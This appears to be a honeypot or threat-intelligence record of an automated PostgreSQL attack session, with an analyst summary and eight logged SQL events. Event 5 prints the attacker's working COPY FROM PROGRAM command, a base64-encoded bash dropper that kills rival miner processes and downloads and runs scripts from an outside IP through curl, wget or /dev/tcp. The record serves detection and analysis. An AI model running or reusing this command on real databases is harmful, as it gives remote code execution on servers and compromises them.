PUB-2026-0305-0036

POSTGRESEvents8BehaviorYesPrimitives7Duration2s

postgres_copy_from_program_execution_chaincritical

Represents a complete, tightly scoped PostgreSQL exploitation chain where a client initiates a transaction, fingerprints the server version, prepares a temporary table, executes an external system command via COPY FROM PROGRAM, retrieves the command output, and immediately cleans up by dropping the table. This sequence is highly characteristic of automated post-authentication exploitation tooling that abuses PostgreSQL’s trusted language and program execution features for one-shot remote command execution, output capture, and minimal on-disk footprint. The rapid execution and cleanup indicate intent to execute payloads rather than interact with the database as a datastore.

Session Events8 events · 2s

017:25:17authpostgres·md5

117:25:17sqlBEGIN

▸ 1 field

217:25:17sqlSELECT version()

▸ 1 field

317:25:18sqlDROP TABLE IF EXISTS _f51cf602155bea4d9037c3ba96c25eaf

▸ 1 field

417:25:18sqlCREATE TABLE _f51cf602155bea4d9037c3ba96c25eaf(cmd_output text)

▸ 1 field

517:25:18sql

COPY _f51cf602155bea4d9037c3ba96c25eaf 
FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYga2luc2luZwpwa2lsbCAtZiBrZGV2dG1wZnNpCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIC1mc1NMIGh0dHA6Ly8yMTAuOTcuNDIuMjQyOjgwODgvZG9jcy8yL2N1cmwudHh0IHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSBodHRwOi8vMjEwLjk3LjQyLjI0Mjo4MDg4L2RvY3MvMi93Z2V0LnR4dCAtTy0gfGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vMjEwLjk3LjQyLjI0Mjo4MDg4L2RvY3MvMi9wZzIyLnNofGJhc2gKZmkK|base64 -d|bash'

▸ 1 field

617:25:18sqlSELECT * FROM _f51cf602155bea4d9037c3ba96c25eaf

▸ 1 field

717:25:18sqlDROP TABLE _f51cf602155bea4d9037c3ba96c25eaf

▸ 1 field

Matched Primitives

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0305-0037	POSTGRES	3	Yes	2	0s
PUB-2026-0305-0016	POSTGRES	9	Yes	6	21s
PUB-2026-0305-0015	POSTGRES	10	Yes	7	4s